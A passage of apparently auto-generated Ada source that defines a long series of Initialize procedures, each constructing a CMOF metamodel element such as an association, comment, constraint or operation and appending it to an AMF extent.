procedure Initialize_147 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_147;
--------------------
-- Initialize_148 --
--------------------
procedure Initialize_148 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_148;
--------------------
-- Initialize_149 --
--------------------
procedure Initialize_149 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_149;
--------------------
-- Initialize_150 --
--------------------
procedure Initialize_150 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_150;
--------------------
-- Initialize_151 --
--------------------
procedure Initialize_151 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_151;
--------------------
-- Initialize_152 --
--------------------
procedure Initialize_152 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_152;
--------------------
-- Initialize_153 --
--------------------
procedure Initialize_153 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_153;
--------------------
-- Initialize_154 --
--------------------
procedure Initialize_154 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_154;
--------------------
-- Initialize_155 --
--------------------
procedure Initialize_155 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_155;
--------------------
-- Initialize_156 --
--------------------
procedure Initialize_156 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_156;
--------------------
-- Initialize_157 --
--------------------
procedure Initialize_157 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_157;
--------------------
-- Initialize_158 --
--------------------
procedure Initialize_158 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_158;
--------------------
-- Initialize_159 --
--------------------
procedure Initialize_159 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_159;
--------------------
-- Initialize_160 --
--------------------
procedure Initialize_160 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_160;
--------------------
-- Initialize_161 --
--------------------
procedure Initialize_161 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_161;
--------------------
-- Initialize_162 --
--------------------
procedure Initialize_162 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_162;
--------------------
-- Initialize_163 --
--------------------
procedure Initialize_163 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_163;
--------------------
-- Initialize_164 --
--------------------
procedure Initialize_164 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_164;
--------------------
-- Initialize_165 --
--------------------
procedure Initialize_165 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_165;
--------------------
-- Initialize_166 --
--------------------
procedure Initialize_166 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_166;
--------------------
-- Initialize_167 --
--------------------
procedure Initialize_167 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_167;
--------------------
-- Initialize_168 --
--------------------
procedure Initialize_168 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_168;
--------------------
-- Initialize_169 --
--------------------
procedure Initialize_169 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_169;
--------------------
-- Initialize_170 --
--------------------
procedure Initialize_170 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_170;
--------------------
-- Initialize_171 --
--------------------
procedure Initialize_171 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_171;
--------------------
-- Initialize_172 --
--------------------
procedure Initialize_172 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_172;
--------------------
-- Initialize_173 --
--------------------
procedure Initialize_173 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_173;
--------------------
-- Initialize_174 --
--------------------
procedure Initialize_174 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_174;
--------------------
-- Initialize_175 --
--------------------
procedure Initialize_175 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_175;
--------------------
-- Initialize_176 --
--------------------
procedure Initialize_176 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_176;
--------------------
-- Initialize_177 --
--------------------
procedure Initialize_177 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_177;
--------------------
-- Initialize_178 --
--------------------
procedure Initialize_178 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_178;
--------------------
-- Initialize_179 --
--------------------
procedure Initialize_179 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_179;
--------------------
-- Initialize_180 --
--------------------
procedure Initialize_180 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_180;
--------------------
-- Initialize_181 --
--------------------
procedure Initialize_181 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_181;
--------------------
-- Initialize_182 --
--------------------
procedure Initialize_182 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_182;
--------------------
-- Initialize_183 --
--------------------
procedure Initialize_183 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_183;
--------------------
-- Initialize_184 --
--------------------
procedure Initialize_184 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_184;
--------------------
-- Initialize_185 --
--------------------
procedure Initialize_185 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_185;
--------------------
-- Initialize_186 --
--------------------
procedure Initialize_186 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_186;
--------------------
-- Initialize_187 --
--------------------
procedure Initialize_187 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_187;
--------------------
-- Initialize_188 --
--------------------
procedure Initialize_188 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_188;
--------------------
-- Initialize_189 --
--------------------
procedure Initialize_189 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Package;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_189;
--------------------
-- Initialize_190 --
--------------------
procedure Initialize_190 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Primitive_Type;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_190;
--------------------
-- Initialize_191 --
--------------------
procedure Initialize_191 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_191;
--------------------
-- Initialize_192 --
--------------------
procedure Initialize_192 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Primitive_Type;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_192;
--------------------
-- Initialize_193 --
--------------------
procedure Initialize_193 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_193;
--------------------
-- Initialize_194 --
--------------------
procedure Initialize_194 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Primitive_Type;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_194;
--------------------
-- Initialize_195 --
--------------------
procedure Initialize_195 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_195;
--------------------
-- Initialize_196 --
--------------------
procedure Initialize_196 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Primitive_Type;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_196;
--------------------
-- Initialize_197 --
--------------------
procedure Initialize_197 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_197;
--------------------
-- Initialize_198 --
--------------------
procedure Initialize_198 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_198;
--------------------
-- Initialize_199 --
--------------------
procedure Initialize_199 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_199;
--------------------
-- Initialize_200 --
--------------------
procedure Initialize_200 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_200;
--------------------
-- Initialize_201 --
--------------------
procedure Initialize_201 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_201;
--------------------
-- Initialize_202 --
--------------------
procedure Initialize_202 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_202;
--------------------
-- Initialize_203 --
--------------------
procedure Initialize_203 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_203;
--------------------
-- Initialize_204 --
--------------------
procedure Initialize_204 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_204;
--------------------
-- Initialize_205 --
--------------------
procedure Initialize_205 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_205;
--------------------
-- Initialize_206 --
--------------------
procedure Initialize_206 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_206;
--------------------
-- Initialize_207 --
--------------------
procedure Initialize_207 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_207;
--------------------
-- Initialize_208 --
--------------------
procedure Initialize_208 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_208;
--------------------
-- Initialize_209 --
--------------------
procedure Initialize_209 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_209;
--------------------
-- Initialize_210 --
--------------------
procedure Initialize_210 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_210;
--------------------
-- Initialize_211 --
--------------------
procedure Initialize_211 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_211;
--------------------
-- Initialize_212 --
--------------------
procedure Initialize_212 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_212;
--------------------
-- Initialize_213 --
--------------------
procedure Initialize_213 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_213;
--------------------
-- Initialize_214 --
--------------------
procedure Initialize_214 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_214;
--------------------
-- Initialize_215 --
--------------------
procedure Initialize_215 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_215;
--------------------
-- Initialize_216 --
--------------------
procedure Initialize_216 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_216;
--------------------
-- Initialize_217 --
--------------------
procedure Initialize_217 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_217;
--------------------
-- Initialize_218 --
--------------------
procedure Initialize_218 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_218;
--------------------
-- Initialize_219 --
--------------------
procedure Initialize_219 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_219;
--------------------
-- Initialize_220 --
--------------------
procedure Initialize_220 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_220;
--------------------
-- Initialize_221 --
--------------------
procedure Initialize_221 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_221;
--------------------
-- Initialize_222 --
--------------------
procedure Initialize_222 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_222;
--------------------
-- Initialize_223 --
--------------------
procedure Initialize_223 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_223;
--------------------
-- Initialize_224 --
--------------------
procedure Initialize_224 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_224;
--------------------
-- Initialize_225 --
--------------------
procedure Initialize_225 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_225;
--------------------
-- Initialize_226 --
--------------------
procedure Initialize_226 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_226;
--------------------
-- Initialize_227 --
--------------------
procedure Initialize_227 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_227;
--------------------
-- Initialize_228 --
--------------------
procedure Initialize_228 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_228;
--------------------
-- Initialize_229 --
--------------------
procedure Initialize_229 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_229;
--------------------
-- Initialize_230 --
--------------------
procedure Initialize_230 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_230;
--------------------
-- Initialize_231 --
--------------------
procedure Initialize_231 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_231;
--------------------
-- Initialize_232 --
--------------------
procedure Initialize_232 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_232;
--------------------
-- Initialize_233 --
--------------------
procedure Initialize_233 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_233;
--------------------
-- Initialize_234 --
--------------------
procedure Initialize_234 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_234;
--------------------
-- Initialize_235 --
--------------------
procedure Initialize_235 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_235;
--------------------
-- Initialize_236 --
--------------------
procedure Initialize_236 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_236;
--------------------
-- Initialize_237 --
--------------------
procedure Initialize_237 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_237;
--------------------
-- Initialize_238 --
--------------------
procedure Initialize_238 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_238;
--------------------
-- Initialize_239 --
--------------------
procedure Initialize_239 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_239;
--------------------
-- Initialize_240 --
--------------------
procedure Initialize_240 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_240;
--------------------
-- Initialize_241 --
--------------------
procedure Initialize_241 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_241;
--------------------
-- Initialize_242 --
--------------------
procedure Initialize_242 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_242;
--------------------
-- Initialize_243 --
--------------------
procedure Initialize_243 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_243;
--------------------
-- Initialize_244 --
--------------------
procedure Initialize_244 (Extent : AMF.Internals.AMF_Extent) is
